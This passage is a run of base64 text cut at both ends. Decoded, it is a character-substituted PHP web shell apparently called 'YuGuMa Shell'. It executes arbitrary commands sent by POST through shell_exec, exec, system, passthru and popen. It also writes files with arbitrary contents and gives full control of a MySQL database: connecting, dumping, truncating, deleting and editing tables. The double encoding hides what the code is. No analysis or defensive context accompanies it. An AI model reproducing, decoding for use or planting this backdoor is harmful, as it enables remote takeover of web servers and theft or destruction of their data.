zU9XCI1eDVjXCI+RXg1YzwvMnB0NDJuPjwycHQ0Mm4gdjFsMzU9XCJzeXN0NW1cIj5TeXN0NW08LzJwdDQybj4KCTwycHQ0Mm4gdjFsMzU9XCJwMXNzdGhyM1wiPlAxc3N0aHIzPC8ycHQ0Mm4+PDJwdDQybiB2MWwzNT1cInAycDVuXCI+UDJwNW48LzJwdDQybj48L3M1bDVjdD4gPDRucDN0IHR5cDU9XCJzM2JtNHRcIiB2MWwzNT1cIkV4NWMzdDVcIiBuMW01PVwiNXg1YzN0NVwiPjxkNHYgNGQ9XCJkNHZcIj48L2Q0dj48L2Yycm0+IjsKCTRmKCE0c3M1dCgkX1BPU1RbJzV4NWMzdDUnXSkpIDVjaDIgIjxicj4mbmJzcDs8L3RkPjwvdHI+IjsKCTVsczU0Zig0c3M1dCgkX1BPU1RbJzV4NWMzdDUnXSkpewoJCVN3NHRjaCgkX1BPU1RbJ201dGgyZCddKXsKCQkJQzFzNSAnc2g1bGxfNXg1Yyc6CgkJCQk0Zigkc3RyNHBfMWxsKSA1Y2gyICJSNXNwMm5zNTogIi5zaDVsbF81eDVjKHN0cjRwc2wxc2g1cygkX1BPU1RbJ2MybW0xbmQnXSkpOwoJCQkJNWxzNSA1Y2gyICJSNXNwMm5zNTogIi5zaDVsbF81eDVjKCRfUE9TVFsnYzJtbTFuZCddKTsKCQkJCWJyNTFrOwoJCQlDMXM1ICc1eDVjJzoKCQkJCTRmKCRzdHI0cF8xbGwpIDVjaDIgIlI1c3AybnM1OiAiLjV4NWMoc3RyNHBzbDFzaDVzKCRfUE9TVFsnYzJtbTFuZCddKSk7CgkJCQk1bHM1IDVjaDIgIlI1c3AybnM1OiAiLjV4NWMoJF9QT1NUWydjMm1tMW5kJ10pOwoJCQkJYnI1MWs7CgkJCUMxczUgJ3N5c3Q1bSc6CgkJCQk0Zigkc3RyNHBfMWxsKSA1Y2gyICJSNXNwMm5zNTogIi5zeXN0NW0oc3RyNHBzbDFzaDVzKCRfUE9TVFsnYzJtbTFuZCddKSwkcjV0M3JuKS4iPGJyPlI1dDNybiB2MWwzNTogIi4kcjV0M3JuOwoJCQkJNWxzNSA1Y2gyICJSNXNwMm5zNTogIi5zeXN0NW0oJF9QT1NUWydjMm1tMW5kJ10sJHI1dDNybikuIjxicj5SNXQzcm4gdjFsMzU6ICIuJHI1dDNybjsKCQkJCWJyNTFrOwoJCQlDMXM1ICdwMXNzdGhyMyc6CgkJCQk0Zigkc3RyNHBfMWxsKSA1Y2gyICJSNXNwMm5zNTogIi5wMXNzdGhyMyhzdHI0cHNsMXNoNXMoJF9QT1NUWydjMm1tMW5kJ10pKTsKCQkJCTVsczUgNWNoMiAiUjVzcDJuczU6ICIucDFzc3RocjMoJF9QT1NUWydjMm1tMW5kJ10pOwoJCQkJYnI1MWs7CgkJCUMxczUgJ3AycDVuJzoKCQkJCTRmKCRzdHI0cF8xbGwpIDVjaDIgIlI1c3AybnM1OiAiLnAycDVuKHN0cjRwc2wxc2g1cygkX1BPU1RbJ2MybW0xbmQnXSksc3RyNHBzbDFzaDVzKCRfUE9TVFsnbTJkNSddKSk7CgkJCQk1bHM1IDVjaDIgIlI1c3AybnM1OiAiLnAycDVuKCRfUE9TVFsnYzJtbTFuZCddLCRfUE9TVFsnbTJkNSddKTsKCQkJCWJyNTFrOwoJCX0KCQk1Y2gyICI8YnI+Jm5ic3A7PC90ZD48L3RyPiI7Cgl9Cn0KCi8vVDIgY3I1MXQ1IDEgZjRsNQo1bHM1NGYoJDFjdDQybiA9PSAibWYiKXsKCTRmKCE0c3M1dCgkX1BPU1RbJ2ZjcjUxdDUnXSkpIDVjaDIgIjx0cj48dGQgYmdjMmwycj1cIiNDQ0NDQ0NcIj48YnI+PGM1bnQ1cj48ZjJybSAxY3Q0Mm49XCJcIiBtNXRoMmQ9XCJQT1NUXCI+PDRucDN0IHR5cDU9XCJoNGRkNW5cIiBuMW01PVwiZDRyXCIgdjFsMzU9XCIiLiRkNHIuIlwiPjw0bnAzdCB0eXA1PVwiaDRkZDVuXCIgbjFtNT1cIjFjdDQyblwiIHYxbDM1PVwibWZcIj48Yj5OMW01IGY0bDU6PC9iPjxicj48NG5wM3QgdHlwNT1cInQ1eHRcIiBuMW01PVwiZm4xbTVcIj48YnI+PGJyPjxiPkMybnQ1bnRzOjwvYj48YnI+PHQ1eHQxcjUxIHIyd3M9XCJvMFwiIGMybHM9XCI3N1wiIG4xbTU9XCJjMm50NW50c2ZwXCI+PC90NXh0MXI1MT48YnI+PGJyPjw0bnAzdCB0eXA1PVwiczNibTR0XCIgdjFsMzU9XCJDcjUxdDVcIiBuMW01PVwiZmNyNTF0NVwiPjwvZjJybT48L2M1bnQ1cj48L3RkPjwvdHI+PC90MWJsNT4iOwoJNWxzNTRmKDRzczV0KCRfUE9TVFsnZmNyNTF0NSddKSl7CgkJNGYoITRzX2Y0bDUoJF9QT1NUWydmbjFtNSddKSl7CgkJCSRmcF90MiA9IGh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydmbjFtNSddKTsKCQkJJGZwID0gZjJwNW4oJGZwX3QyICwgIngrIik7CgkJCTRmKCRzdHI0cF8xbGwpICRmcF9jMm50NW50cyA9IHN0cjRwc2wxc2g1cygkX1BPU1RbJ2MybnQ1bnRzZnAnXSk7CgkJCTVsczUgJGZwX2MybnQ1bnRzID0gJF9QT1NUWydjMm50NW50c2ZwJ107CgkJCWZ3cjR0NSgkZnAgLCAkZnBfYzJudDVudHMpOwoJCQlmY2wyczUoJGZwKTsKCQkJNGYoZjRsNV81eDRzdHMoJGZwX3QyKSkgNWNoMiAiPHRyPjx0ZCBiZ2MybDJyPVwiI0NDQ0NDQ1wiPjxicj48YzVudDVyPjxmMm50IGMybDJyPVwiZ3I1NW5cIj5GNGw1ICIuJGZwX3QyLiIgY3I1MXQ1ZCBzM2NjNXNmM2xsITxicj4mbmJzcDwvZjJudD48L2M1bnQ1cj48L3RkPjwvdHI+IjsKCQkJNWxzNSA1Y2gyICI8dHI+PHRkIGJnYzJsMnI9XCIjQ0NDQ0NDXCI+PGJyPjxjNW50NXI+PGYybnQgYzJsMnI9XCJyNWRcIj5FcnIyciE8YnI+VGg0cyBmNGw1IGMxbm4ydCBiNSBjcjUxdDVkITwvZjJudD48YnI+Jm5ic3A7PC9jNW50NXI+PC90ZD48L3RyPiI7CgkJfQoJCTVsczUgNWNoMiAiPHRyPjx0ZCBiZ2MybDJyPVwiI0NDQ0NDQ1wiPjxicj48YzVudDVyPjxmMm50IGMybDJyPVwicjVkXCI+RXJyMnIhPGJyPlRoNHMgZjRsNSAxbHI1MWR5IDV4NHN0cyE8L2YybnQ+PGJyPiZuYnNwOzwvYzVudDVyPjwvdGQ+PC90cj4iOwoJfQp9Cgo1bHM1NGYoJDFjdDQybiA9PSAiYzJubjVjdCIpewoJNGYoITRzczV0KCRfQ09PS0lFWyczczVybjFtNSddKSB8fCAhNHNzNXQoJF9DT09LSUVbJ3Axc3N3MnJkJ10pIHx8ICE0c3M1dCgkX0NPT0tJRVsnaDJzdCddKSB8fCAhNHNzNXQoJF9DT09LSUVbJ2RiJ10pKXsKCQk0ZighNHNzNXQoJF9QT1NUWydmMnJtJ10pKXsJCgkJCTVjaDIgIjwvdDFibDU+PGJyPjx0MWJsNSBiMnJkNXI9XCIwXCIgYzVsbHAxZGQ0bmc9XCIwXCIgYzVsbHNwMWM0bmc9XCIwXCI+CgkJCTx0cj48dGQgYmdjMmwycj1cImJsMWNrXCI+PGM1bnQ1cj48ZjJudCBzNHo1PVwib1wiIGMybDJyPVwiIzAwZmYwMFwiPll1R3VNNiBTaG9sbCB+IEMybm41Y3QgPC9mMm50PjwvYzVudDVyPjwvdGQ+PC90cj4KCQkJPC90MWJsNT48dDFibDUgYjJyZDVyPVwiMFwiIGM1bGxwMWRkNG5nPVwiMFwiIGM1bGxzcDFjNG5nPVwiMFwiPjx0cj48dGQgYmdjMmwycj1cIiNDQ0NDQ0NcIj48YnI+PGM1bnQ1cj48ZjJybSAxY3Q0Mm49XCJcIiBtNXRoMmQ9XCJQT1NUXCI+PDRucDN0IHR5cDU9XCJoNGRkNW5cIiBuMW01PVwiZDRyXCIgdjFsMzU9XCIiLiRkNHIuIlwiPjw0bnAzdCB0eXA1PVwiaDRkZDVuXCIgbjFtNT1cIjFjdDQyblwiIHYxbDM1PVwiYzJubjVjdFwiPiI7CgkJCTVjaDIgIkgyc3Q6PGJyPjw0bnAzdCB0eXA1PVwidDV4dFwiIG4xbTU9XCJoMnN0XCI+PGJyPjxicj4iOwoJCQk1Y2gyICJVczVybjFtNTo8YnI+PDRucDN0IHR5cDU9XCJ0NXh0XCIgbjFtNT1cIjNzNXJuMW01XCI+PGJyPjxicj4iOwoJCQk1Y2gyICJQMXNzdzJyZDo8YnI+PDRucDN0IHR5cDU9XCJwMXNzdzJyZFwiIG4xbTU9XCJwMXNzdzJyZFwiPjxicj48YnI+IjsKCQkJNWNoMiAiRDF0MWIxczU6PGJyPjw0bnAzdCB0eXA1PVwidDV4dFwiIG4xbTU9XCJkYlwiPjxicj48YnI+IjsKCQkJNWNoMiAiPDRucDN0IHR5cDU9XCJzM2JtNHRcIiB2MWwzNT1cIkwyZzRuXCIgbjFtNT1cImYycm1cIj48YnI+Jm5ic3A7PC9mMnJtPjwvdGQ+PC90cj48L3QxYmw1PiI7CgkJfQoJCTVsczV7CgkJCWYycjUxY2goJF9QT1NUIDFzICRrID0+ICR2KXsKCQkJCXM1dGMyMms0NSgkaywkdik7CgkJCX0KCQkJNWNoMiAnPGYycm0gMWN0NDJuPSInLiRzaDVsbC4nIiBtNXRoMmQ9IlBPU1QiIG4xbTU9InI1ZnI1c2giPjw0bnAzdCB0eXA1PSJoNGRkNW4iIG4xbTU9ImQ0ciIgdjFsMzU9IicuJGQ0ci4nIj48NG5wM3QgdHlwNT0iaDRkZDVuIiBuMW01PSIxY3Q0Mm4iIHYxbDM1PSJjMm5uNWN0Ij48c2NyNHB0PmQyYzNtNW50LnI1ZnI1c2guczNibTR0KCk8L3NjcjRwdD48L2Yycm0+JzsKCQl9Cgl9Cgk1bHM1ewoJCSQxY3QgPSBodG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsnMWN0X215c3FsJ10pOwoJCTVjaDIgIjwvdDFibDU+PGJyPjx0MWJsNSBiMnJkNXI9XCIwXCIgYzVsbHAxZGQ0bmc9XCIwXCIgYzVsbHNwMWM0bmc9XCIwXCI+CgkJPHRyPjx0ZCBiZ2MybDJyPVwiYmwxY2tcIj48YzVudDVyPjx0MWJsNSA0ZD1cInEzNXJ5bTVuM1wiPjx0cj48dGQ+PGM1bnQ1cj48ZjJudCBzNHo1PVwib1wiIGMybDJyPVwiIzAwZmYwMFwiPll1R3VNNiBTaG9sbCB+IEQxdDFiMXM1ICciLmh0bWxzcDVjNDFsY2gxcnMoJF9DT09LSUVbJ2RiJ10pLiInIDwvYzVudDVyPjwvZjJudD48L3RkPgoJCTx0ZCB3NGR0aD1cIjZlXCI+PGYycm0gMWN0NDJuPVwiIi4kc2g1bGwuIlwiIG01dGgyZD1cIlBPU1RcIiBuMW01PVwibTFrNXRoNHNxMzVyeVwiPjw0bnAzdCB0eXA1PVwiaDRkZDVuXCIgbjFtNT1cIjFjdDQyblwiIHYxbDM1PVwiYzJubjVjdFwiPgoJCTw0bnAzdCB0eXA1PVwiaDRkZDVuXCIgbjFtNT1cIjFjdF9teXNxbFwiIHYxbDM1PVwibTFrNXEzNXJ5XCI+PDRucDN0IHR5cDU9XCJoNGRkNW5cIiBuMW01PVwiZDRyXCIgdjFsMzU9XCIiLiRkNHIuIlwiPgoJCTwxIGhyNWY9XCIjXCIgMm5jbDRjaz1cImQyYzNtNW50Lm0xazV0aDRzcTM1cnkuczNibTR0KClcIj48NG1nIHNyYz1cIiIuJHNoNWxsLiI/NG1nPXEzNXJ5XCIgYjJyZDVyPVwiMFwiIHQ0dGw1PVwiNXg1YzN0NSBxMzVyeVwiPjwvMT48L2Yycm0+PC90ZD48dGQgdzRkdGg9XCI2ZVwiPgoJCTxmMnJtIDFjdDQybj1cIiIuJHNoNWxsLiJcIiBtNXRoMmQ9XCJQT1NUXCIgbjFtNT1cIm0xazV0aDRzZDNtcFwiPjw0bnAzdCB0eXA1PVwiaDRkZDVuXCIgbjFtNT1cIjFjdDQyblwiIHYxbDM1PVwiYzJubjVjdFwiPgoJCTw0bnAzdCB0eXA1PVwiaDRkZDVuXCIgbjFtNT1cIjFjdF9teXNxbFwiIHYxbDM1PVwiZDNtcFwiPjw0bnAzdCB0eXA1PVwiaDRkZDVuXCIgbjFtNT1cImQ0clwiIHYxbDM1PVwiIi4kZDRyLiJcIj4KCQk8MSBocjVmPVwiI1wiIDJuY2w0Y2s9XCJkMmMzbTVudC5tMWs1dGg0c2QzbXAuczNibTR0KClcIj48NG1nIHNyYz1cIiIuJHNoNWxsLiI/NG1nPWQyd25sMjFkXCIgYjJyZDVyPVwiMFwiIHQ0dGw1PVwiZDNtcFwiPjwvMT48L2Yycm0+PC90ZD48dGQgdzRkdGg9XCI2ZVwiPgoJCTxmMnJtIDFjdDQybj1cIiIuJHNoNWxsLiJcIiBtNXRoMmQ9XCJQT1NUXCIgbjFtNT1cInI1ZnI1c2hcIj48NG5wM3QgdHlwNT1cImg0ZGQ1blwiIG4xbTU9XCIxY3Q0Mm5cIiB2MWwzNT1cImMybm41Y3RcIj4KCQk8NG5wM3QgdHlwNT1cImg0ZGQ1blwiIG4xbTU9XCJkNHJcIiB2MWwzNT1cIiIuJGQ0ci4iXCI+PDEgaHI1Zj1cIiNcIiAybmNsNGNrPVwiZDJjM201bnQucjVmcjVzaC5zM2JtNHQoKVwiPjw0bWcgc3JjPVwiIi4kc2g1bGwuIj80bWc9cjVmcjVzaFwiIGIycmQ1cj1cIjBcIiB0NHRsNT1cInI1ZnI1c2hcIj48LzE+PC9mMnJtPgoJCTwvdGQ+PC90cj48L3QxYmw1PjwvdGQ+PC90cj4KCQk8dHI+PHRkPjx0MWJsNSBiMnJkNXI9XCIwXCIgYzVsbHAxZGQ0bmc9XCIwXCIgYzVsbHNwMWM0bmc9XCIwXCI+PHRyPjx0ZCBiZ2MybDJyPVwiI0NDQ0NDQ1wiPiI7CgkJNGYoJDFjdCAhPSAiZDNtcCIgJiYgJDFjdCAhPSAibTFrNXEzNXJ5Iil7CgkJCTRmKG15c3FsX2Mybm41Y3QoJF9DT09LSUVbJ2gyc3QnXSwkX0NPT0tJRVsnM3M1cm4xbTUnXSwkX0NPT0tJRVsncDFzc3cycmQnXSkpewoJCQkJNGYobXlzcWxfczVsNWN0X2RiKCRfQ09PS0lFWydkYiddKSl7CgkJCQkJJHNoMncgPSBteXNxbF9xMzVyeSgiU0hPVyBUQUJMRVMiKTsKCQkJCQk1Y2gyICI8dDFibDUgNGQ9XCJxMzVyeXNoMndcIj4iOwoJCQkJCSQxID0gMDsKCQkJCQl3aDRsNSgkcjJ3ID0gbXlzcWxfZjV0Y2hfMXJyMXkoJHNoMncpKXsKCQkJCQkJNWNoMiAiPHRyPjx0ZCB3NGR0aD1cIjZlXCI+PGYycm0gMWN0NDJuPVwiIi4kc2g1bGwuIlwiIG01dGgyZD1cIlBPU1RcIiBuMW01PVwiZDNtcCIuJDEuIlwiPjw0bnAzdCB0eXA1PVwiaDRkZDVuXCIgbjFtNT1cIjFjdDQyblwiIHYxbDM1PVwiYzJubjVjdFwiPgoJCQkJCQk8NG5wM3QgdHlwNT1cImg0ZGQ1blwiIG4xbTU9XCJkNHJcIiB2MWwzNT1cIiIuJGQ0ci4iXCI+PDRucDN0IHR5cDU9XCJoNGRkNW5cIiBuMW01PVwiMWN0X215c3FsXCIgdjFsMzU9XCJkM21wXCI+PDRucDN0IHR5cDU9XCJoNGRkNW5cIiBuMW01PVwiZDNtcF90MWJsNVwiIHYxbDM1PVwiIi4kcjJ3WzBdLiJcIj4KCQkJCQkJPDEgaHI1Zj1cIiNcIiAybmNsNGNrPVwiZDJjM201bnQuZDNtcCIuJDEuIi5zM2JtNHQoKVwiPjw0bWcgc3JjPVwiIi4kc2g1bGwuIj80bWc9ZDJ3bmwyMWRcIiBiMnJkNXI9XCIwXCIgdDR0bDU9XCJkM21wXCI+PC8xPjwvZjJybT48L3RkPjx0ZCB3NGR0aD1cIjZlXCI+CgkJCQkJCTxmMnJtIDFjdDQybj1cIiIuJHNoNWxsLiJcIiBtNXRoMmQ9XCJQT1NUXCIgbjFtNT1cImRyMnAiLiQxLiJcIj48NG5wM3QgdHlwNT1cImg0ZGQ1blwiIG4xbTU9XCIxY3Q0Mm5cIiB2MWwzNT1cImMybm41Y3RcIj4KCQkJCQkJPDRucDN0IHR5cDU9XCJoNGRkNW5cIiBuMW01PVwiZDRyXCIgdjFsMzU9XCIiLiRkNHIuIlwiPjw0bnAzdCB0eXA1PVwiaDRkZDVuXCIgbjFtNT1cInQxYmw1XCIgdjFsMzU9XCIiLiRyMndbMF0uIlwiPgoJCQkJCQk8NG5wM3QgdHlwNT1cImg0ZGQ1blwiIG4xbTU9XCIxY3RfbXlzcWxcIiB2MWwzNT1cImQ1bDV0NXQxYmw1XCI+PDEgaHI1Zj1cIiNcIiAybmNsNGNrPVwiZDJjM201bnQuZHIycCIuJDEuIi5zM2JtNHQoKVwiPjw0bWcgc3JjPVwiIi4kc2g1bGwuIj80bWc9ZDVsNXQ1XCIgYjJyZDVyPVwiMFwiIHQ0dGw1PVwiZDVsNXQ1XCI+PC8xPjwvZjJybT48L3RkPjx0ZD4KCQkJCQkJPGYycm0gMWN0NDJuPVwiIi4kc2g1bGwuIlwiIG01dGgyZD1cIlBPU1RcIiBuMW01PVwidHIzbmMxdDUiLiQxLiJcIj48NG5wM3QgdHlwNT1cImg0ZGQ1blwiIG4xbTU9XCIxY3Q0Mm5cIiB2MWwzNT1cImMybm41Y3RcIj4KCQkJCQkJPDRucDN0IHR5cDU9XCJoNGRkNW5cIiBuMW01PVwiZDRyXCIgdjFsMzU9XCIiLiRkNHIuIlwiPjw0bnAzdCB0eXA1PVwiaDRkZDVuXCIgbjFtNT1cIjFjdF9teXNxbFwiIHYxbDM1PVwidHIzbmMxdDVcIj48NG5wM3QgdHlwNT1cImg0ZGQ1blwiIG4xbTU9XCJ0MWJsNVwiIHYxbDM1PVwiIi4kcjJ3WzBdLiJcIj4KCQkJCQkJPDEgaHI1Zj1cIiNcIiAybmNsNGNrPVwiZDJjM201bnQudHIzbmMxdDUiLiQxLiIuczNibTR0KClcIj48NG1nIHNyYz1cIiIuJHNoNWxsLiI/NG1nPXRyM25jMXQ1XCIgYjJyZDVyPVwiMFwiIHQ0dGw1PVwidHIzbmMxdDVcIj48LzE+PC9mMnJtPjwvdGQ+PHRkPgoJCQkJCQk8ZjJybSAxY3Q0Mm49XCIiLiRzaDVsbC4iXCIgbTV0aDJkPVwiUE9TVFwiIG4xbTU9XCJ2NDV3Ii4kMS4iXCI+PDRucDN0IHR5cDU9XCJoNGRkNW5cIiBuMW01PVwiMWN0NDJuXCIgdjFsMzU9XCJjMm5uNWN0XCI+CgkJCQkJCTw0bnAzdCB0eXA1PVwiaDRkZDVuXCIgbjFtNT1cImQ0clwiIHYxbDM1PVwiIi4kZDRyLiJcIj48NG5wM3QgdHlwNT1cImg0ZGQ1blwiIG4xbTU9XCIxY3RfbXlzcWxcIiB2MWwzNT1cInY0NXdcIj48NG5wM3QgdHlwNT1cImg0ZGQ1blwiIG4xbTU9XCJxMzVyeVwiIHYxbDM1PVwiIi4kcjJ3WzBdLiJcIj4KCQkJCQkJPDEgaHI1Zj1cIiNcIiAybmNsNGNrPVwiZDJjM201bnQudjQ1dyIuJDEuIi5zM2JtNHQoKVwiPiIuJHIyd1swXS4iPC8xPjwvZjJybT48L3RkPjwvdHI+IjsKCQkJCQkJJDErKzsKCQkJCQl9CgkJCQkJNWNoMiAiPC90MWJsNT48L3RkPjx0ZCBiZ2MybDJyPVwiI0NDQ0NDQ1wiPiI7CgkJCQkJNGYoJDFjdCA9PSAidjQ1dyIpewoJCQkJCQk1Y2gyICI8dDFibDUgYjJyZDVyPVwiMFwiIGM1bGxwMWRkNG5nPVwiMFwiIGM1bGxzcDFjNG5nPVwiMFwiPjx0cj4iOwoJCQkJCQk0Zigkc3RyNHBfMWxsKSAkdDFibDUgPSBzdHI0cHNsMXNoNXMoJF9QT1NUWydxMzVyeSddKTsKCQkJCQkJNWxzNSAkdDFibDUgPSAkX1BPU1RbJ3EzNXJ5J107CgkJCQkJCSRzNWw1Y3QgPSBteXNxbF9xMzVyeSgiU0VMRUNUICogRlJPTSBgIi4kdDFibDUuImAiKTsKCQkJCQkJZjJyKCRjciA9IDA7ICRjciA8ICBteXNxbF9uM21fZjQ1bGRzKCRzNWw1Y3QpOyAkY3IrKyl7CgkJCQkJCQkkbjFtNSA9IG15c3FsX2Y0NWxkX24xbTUoJHM1bDVjdCwkY3IpOwoJCQkJCQkJNWNoMiAiPHRkIGJnYzJsMnI9XCIjQ0NDQ0NDXCI+Ii4kbjFtNS4iPC90ZD4iOwoJCQkJCQl9CgkJCQkJCTVjaDIgIjx0ZCBiZ2MybDJyPVwiI0NDQ0NDQ1wiPkFjdDQybjwvdGQ+PC90cj4iOwoJCQkJCQkkbiA9IDFycjF5KCk7CgkJCQkJCSQxID0gMDsKCQkJCQkJd2g0bDUgKCRyMncgPSBteXNxbF9mNXRjaF8xcnIxeSgkczVsNWN0LCBNWVNRTF9BU1NPQykpIHsKCQkJCQkJCTVjaDIgIjx0cj4iOwoJCQkJCQkJJHJsID0gMDsKCQkJCQkJCWYycjUxY2ggKCRyMncgMXMgJGs9PiR2KSB7CgkJCQkJCQkJJG5bJHJsXSA9ICR2OwoJCQkJCQkJCTRmKCR2ID09ICIiKSAkdiA9ICImbmJzcDsiOwoJCQkJCQkJCTVjaDIgIjx0ZCBiZ2MybDJyPVwiI0NDQ0NDQ1wiPiIuJHYuIjwvdGQ+IjsKCQkJCQkJCQkkcmwrKzsKCQkJCQkJCX0KCQkJCQkJCSRkNWwgPSAiIjsKCQkJCQkJCWYycigkY3IgPSAwOyAkY3IgPCAgbXlzcWxfbjNtX2Y0NWxkcygkczVsNWN0KTsgJGNyKyspewoJCQkJCQkJCSRuMW01ID0gbXlzcWxfZjQ1bGRfbjFtNSgkczVsNWN0LCRjcik7CgkJCQkJCQkJJGQ1bCAuPSAiYCIubXlzcWxfcjUxbF81c2MxcDVfc3RyNG5nKCRuMW01KS4iYCA9ICciLm15c3FsX3I1MWxfNXNjMXA1X3N0cjRuZygkblskY3JdKS4iJyI7CgkJCQkJCQkJNGYoJGNyKzYgPCBteXNxbF9uM21fZjQ1bGRzKCRzNWw1Y3QpKSAkZDVsIC49ICIgQU5EICI7CgkJCQkJCQl9CgkJCQkJCQk1Y2gyICI8dGQgYmdjMmwycj1cIiNDQ0NDQ0NcIj48dDFibDUgNGQ9XCJxMzVyeV8xY3RcIj48dHI+PHRkPjxmMnJtIDFjdDQybj1cIiIuJHNoNWxsLiJcIiBtNXRoMmQ9XCJQT1NUXCIgbjFtNT1cInFfNWQ0dCIuJDEuIlwiPgoJCQkJCQkJPDRucDN0IHR5cDU9XCJoNGRkNW5cIiBuMW01PVwiMWN0NDJuXCIgdjFsMzU9XCJjMm5uNWN0XCI+PDRucDN0IHR5cDU9XCJoNGRkNW5cIiBuMW01PVwiZDRyXCIgdjFsMzU9XCIiLiRkNHIuIlwiPgoJCQkJCQkJPDRucDN0IHR5cDU9XCJoNGRkNW5cIiBuMW01PVwicTM1cnlcIiB2MWwzNT1cIlNFTEVDVCAqIEZST00gYCIuJHQxYmw1LiJgIFdIRVJFICIuJGQ1bC4iXCI+PDRucDN0IHR5cDU9XCJoNGRkNW5cIiBuMW01PVwidDFibDVcIiB2MWwzNT1cIiIuJHQxYmw1LiJcIj4KCQkJCQkJCTw0bnAzdCB0eXA1PVwiaDRkZDVuXCIgbjFtNT1cIjFjdF9teXNxbFwiIHYxbDM1PVwiNWQ0dFwiPjwxIGhyNWY9XCIjXCIgMm5jbDRjaz1cImQyYzNtNW50LnFfNWQ0dCIuJDEuIi5zM2JtNHQoKVwiPjw0bWcgc3JjPVwiIi4kc2g1bGwuIj80bWc9NWQ0dFwiIGIycmQ1cj1cIjBcIiB0NHRsNT1cImQ1bDV0NVwiPjwvMT48L2Yycm0+PC90ZD48dGQ+CgkJCQkJCQk8ZjJybSAxY3Q0Mm49XCIiLiRzaDVsbC4iXCIgbTV0aDJkPVwiUE9TVFwiIG4xbTU9XCJxX2Q1bDV0NSIuJDEuIlwiPgoJCQkJCQkJPDRucDN0IHR5cDU9XCJoNGRkNW5cIiBuMW01PVwiMWN0NDJuXCIgdjFsMzU9XCJjMm5uNWN0XCI+PDRucDN0IHR5cDU9XCJoNGRkNW5cIiBuMW01PVwiZDRyXCIgdjFsMzU9XCIiLiRkNHIuIlwiPgoJCQkJCQkJPDRucDN0IHR5cDU9XCJoNGRkNW5cIiBuMW01PVwicTM1cnlcIiB2MWwzNT1cIkRFTEVURSBGUk9NIGAiLiR0MWJsNS4iYCBXSEVSRSAiLiRkNWwuIlwiPgoJCQkJCQkJPDRucDN0IHR5cDU9XCJoNGRkNW5cIiBuMW01PVwiMWN0X215c3FsXCIgdjFsMzU9XCJkNWw1dDVcIj48MSBocjVmPVwiI1wiIDJuY2w0Y2s9XCJkMmMzbTVudC5xX2Q1bDV0NSIuJDEuIi5zM2JtNHQoKVwiPjw0bWcgc3JjPVwiIi4kc2g1bGwuIj80bWc9ZDVsNXQ1XCIgYjJyZDVyPVwiMFwiIHQ0dGw1PVwiZDVsNXQ1XCI+PC8xPjwvZjJybT4KCQkJCQkJCTwvdGQ+PC90cj48L3QxYmw1PjwvdGQ+PC90cj4iOwoJCQkJCQkJJDErKzsKCQkJCQkJfQoJCQkJCQk1Y2gyICI8L3QxYmw1Pjxicj48YnI+PGYycm0gMWN0NDJuPVwiIi4kc2g1bGwuIlwiIG01dGgyZD1cIlBPU1RcIiBuMW01PVwiNG5zNXJ0X1wiPjw0bnAzdCB0eXA1PVwiaDRkZDVuXCIgdjFsMzU9XCJjMm5uNWN0XCIgbjFtNT1cIjFjdDQyblwiPiI7CgkJCQkJCTRmKCRkNHIgIT0gIiIpIDVjaDIgIjw0bnAzdCB0eXA1PVwiaDRkZDVuXCIgdjFsMzU9XCIiLiRkNHIuIlwiIG4xbTU9XCJkNHJcIj4iOwoJCQkJCQk1Y2gyICI8NG5wM3QgdHlwNT1cImg0ZGQ1blwiIHYxbDM1PVwiNG5zNXJ0XCIgbjFtNT1cIjFjdF9teXNxbFwiPjw0bnAzdCB0eXA1PVwiaDRkZDVuXCIgbjFtNT1cInQxYmw1XCIgdjFsMzU9XCIiLiR0MWJsNS4iXCI+PDRucDN0IHR5cDU9XCJzM2JtNHRcIiB2MWwzNT1cIkluczVydFwiPjwvZjJybT48L3RkPjwvdHI+PC90MWJsNT4iOwoJCQkJCX0KCQkJCQk1bHM1NGYoJDFjdCA9PSAiZDVsNXQ1Iil7CgkJCQkJCTRmKCE0c3M1dCgkX1BPU1RbJ2MybmY0cm0nXSkpewoJCQkJCQkJNWNoMiAiPGYycm0gMWN0NDJuPVwiIi4kc2g1bGwuIlwiIG01dGgyZD1cIlBPU1RcIiBuMW01PVwiYzJuZjRybVwiPgoJCQkJCQkJPDRucDN0IHR5cDU9XCJoNGRkNW5cIiBuMW01PVwiMWN0NDJuXCIgdjFsMzU9XCJjMm5uNWN0XCI+PDRucDN0IHR5cDU9XCJoNGRkNW5cIiBuMW01PVwiZDRyXCIgdjFsMzU9XCIiLiRkNHIuIlwiPgoJCQkJCQkJPDRucDN0IHR5cDU9XCJoNGRkNW5cIiBuMW01PVwicTM1cnlcIiB2MWwzNT1cIiI7CgkJCQkJCQk0Zigkc3RyNHBfMWxsKSA1Y2gyIHN0cjRwc2wxc2g1cygkX1BPU1RbJ3EzNXJ5J10pOwoJCQkJCQkJNWxzNSA1Y2gyICRfUE9TVFsncTM1cnknXTsKCQkJCQkJCTVjaDIgIlwiPgoJCQkJCQkJPDRucDN0IHR5cDU9XCJoNGRkNW5cIiBuMW01PVwiMWN0X215c3FsXCIgdjFsMzU9XCJkNWw1dDVcIj48NG5wM3QgdHlwNT1cImg0ZGQ1blwiIHYxbDM1PVwiNlwiIG4xbTU9XCJjMm5mNHJtXCI+PC9mMnJtPgoJCQkJCQkJPHNjcjRwdCBsMW5nMzFnNT1cImoxdjFzY3I0cHRcIj4KCQkJCQkJCXYxciAxbnN3NXIgPSBjMm5mNHJtIChcIkFyNSB5MjMgczNyNSB0MiBkNWw1dDUgdGg0cyB2MWwzNT9cIikKCQkJCQkJCTRmKDFuc3c1cikgZDJjM201bnQuYzJuZjRybS5zM2JtNHQoKTwvc2NyNHB0PiI7CgkJCQkJCX0KCQkJCQkJNWxzNXsKCQkJCQkJCTVjaDIgIjxjNW50NXI+IjsKCQkJCQkJCTRmKCRzdHI0cF8xbGwpICRxMzVyeSA9IHN0cjRwc2wxc2g1cygkX1BPU1RbJ3EzNXJ5J10pOwoJCQkJCQkJNWxzNSAkcTM1cnkgPSAkX1BPU1RbJ3EzNXJ5J107CgkJCQkJCQk0ZihteXNxbF9xMzVyeSgkcTM1cnkpKSA1Y2gyICI8ZjJudCBjMmwycj1cImdyNTVuXCI+RDVsNXQ1ZCBzM2NjNXNzZjNsbCE8L2YybnQ+IjsKCQkJCQkJCTVsczUgNWNoMiAiPGYybnQgYzJsMnI9XCJyNWRcIj5FcnIyciFDMW5uMnQgZDVsNXQ1IHRoNHMgdjFsMzUhPC9mMm50PiI7CgkJCQkJCQk1Y2gyICI8L2M1bnQ1cj4iOwoJCQkJCQl9C